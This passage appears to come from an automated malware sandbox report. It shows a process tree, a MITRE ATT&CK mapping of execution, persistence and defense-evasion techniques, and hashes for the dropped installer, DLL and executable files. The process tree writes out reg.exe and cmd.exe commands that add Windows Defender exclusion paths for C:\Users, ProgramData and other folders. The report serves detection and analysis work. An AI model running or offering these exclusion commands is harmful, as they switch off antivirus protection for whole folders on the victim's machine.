- Executes a command shell one-liner
PID:828 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵PID:4292
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C:\Windows\system32\cmd.execmd.exe1⤵PID:5712
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2548 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵PID:4808
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2216 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵PID:2088
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:4716 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵PID:1172
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Persistence
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e597eeb.rbs
- Size 7KB
- SHA256 776364a2102c259b53a6b30465afebc55df0985080fb7f5ac2be279e44d2162b
- MD5 cd7228c0dff1e0bbad3d3623b0da12e8
- SHA1 24155feac7301720502eda485b9c42e52098dc21
- SHA512 e083d0e1e3993b562427b81a5ec69a2c47ed209672a59d22f4ea3b486225a2aa9acf4101627ed40627c6f576707b83a80431beb3d955981bbbba3ffe9fd2cf6c
- SSDEEP 96:nSmhgu0CjHSUUwn0D1CsThqFUwn0D1C6je1Hp/ThqlHm25yeWl0lbwCKpljeAbAp:nSmaCmz40DIIz40DIxjald3KpIZ
- TLSH T1EEF1FF0666144BF2F8E66B35CB07176637A2D2E5929433DB1CCD80201FC37992EA968E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\glsSOR\UxEnhance64.dll
- Size 3.1MB
- SHA256 feb262315492fe6dc2486139dbc21c809176f90fc087a4f125bfc4d81e4cefae
- MD5 d881e87b70f46963db27d0ca41408518
- SHA1 345ea29de0aac09613eddf6726324352f36fcf38
- SHA512 0d3cf237816e115295fdc403790609d8e78d77eb315ba3c81c0852f3ee8a2bce7542b329693edc8046e33e79ee8ea88bdd012bbb1a8aa7c9c980aa27fe923886
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+O:P9m29xx3Tiqt06ox6+z2rNNrKoO
- TLSH T15DE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\glsSOR\adoresd.dat
- Size 4.8MB
- SHA256 fa26171b20536d4fdbf748520d01b3197f7139320e69c45ef455bd6ce8980595
- MD5 9c8a8ab88f2879076ea96fe3da81d8da
- SHA1 fbab4e56cf215d7f95daac6aee41037e28e7a389
- SHA512 766b987174943f6adc2619e06cfb5651310238dc4f0418428282c0a9a279841b962773a9d0978e0d97735f60f887adc53ad41c0fa6816333b5cf32fdbe9d448b
- SSDEEP 98304:7uZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:8QDPnORb7AdPEm7Y7ltlVgxs
- TLSH T111363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\glsSOR\msadox.tb
- Size 8KB
- SHA256 4af0b5e7fd4ce63839d78267f2f37b99e3616b5a0fe397fd571329c24357a06d
- MD5 1a326b43224c566bbc03b321d816e539
- SHA1 dda28ef328b7f11c18abf6a243d7b39f6f34f756
- SHA512 b7264f0994cd476b27a913a9618b2eb2dd279af4fcc3d408c2a951fffc92e33214cf0aeb1993e955bfe45326336704241d48f4a79ec523383cf29099117892ed
- SSDEEP 192:dqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:dsZqZOXQ3uqvR2Kfzp
- TLSH T15A029E05D7A20CC3D6016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\glsSOR\zBeQwa.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI85B2.tmp
- Size 7.6MB
- SHA256 9b8835ea6895d8dc16ac076f5013b8851c1e49f4290713ecd97e5f01acec4f81
- MD5 dbf189d7b000365e5f6b18c29e07e898
- SHA1 132b244aac1cccca861e2a84faa1ec466a62e846
- SHA512 a2caf62b5d1046d2da0c0b2fbdf443405fe9ba49e43f561573dd79bbc971b5d4927f45177c380c8841f45101165f76f4b357bc687151a523db04a46ab5a1e2f1
- SSDEEP 196608:XvA8KuUBIeMpGZt46NuHbhCpJRWt4zEAYsHCPefrEK:XPKfBIe9y66SJ4CYmzrl
- TLSH T1638633C878CEA2B4D1E3C77546C3345E3D3937D276AA8F1ABD5526002D6223B6739389
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e597eea.msi
- Size 7.7MB
- SHA256 97890766d56d952fe6242bd5dbf231113c2c3335f4994b659e485e047ebfda83
- MD5 1b612e553f5fa50047d236cf19fd2dcf
- SHA1 4d83dab0854d79e77d3ecdfc99850f6b7b391b3a
- SHA512 2ce2fc0c200e9d7743f686bf22cd338413035b829a6e91d74b88dc094f36c1a4701eb6101021ce59878713d1cbb8fc93a389758822b232b845f7bcd0d7097d4f
- SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEt:yPKfBIe9y66qJ4CYmzrC
- TLSH T1508633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 0e3aa1a00842470ec7c8c5b03230dfdc036d3a51e9327f49cf7099a4ee542b65
- MD5 9da9fc467a55df95e213fbe5ee6d1a83
- SHA1 c67de20233536886d691910503d85fcd7074ade9
- SHA512 e0e3e3be533588e77eac5f2cf96d97994508d3f76d0aa5d073e412cf75520a8c851209859684f0430c267ee31e919a4f785285336f1673ed7630602d2e151a8f
- SSDEEP 24576:aFo3DMPTdoO/vvTL/Sg88iFQvrumHb7P0BKudxSUKpyKpb9cMoRWclmd4+S:AHU
- TLSH T1B757B42436F92200E7F79E3DA8F06A234D397D5BAC15DE8D45511B4E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{061ebbd2-357a-4dd4-aad2-ea0a27ca7b25}_OnDiskSnapshotProp
- Size 6KB
- SHA256 4e4f966a95950cedf87a69d3b4dbe0c9ddc1a06fad8270e8cf6cc5c3f0cdbaae
- MD5 f3c206616b75e537917126c9b159a425
- SHA1 614ce61aeb8fe4801023fe595919c27bbcc7e456
- SHA512 d533215507da59cf03d8b379687022fcf915f0225f37c060648c605ce65e4f731604943d3fffb042c866a0794c6f29f46a651702e1393ecc55252b206462911e
- SSDEEP 96:F1X7GCvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:b6eb++uVm
- TLSH T13BD189085AE54711E2B3AB3129F18557A877B911FF33CB8E0198238E6631A10F975F6F
- MD5 SHA1 SHA512 SSDEEP TLSH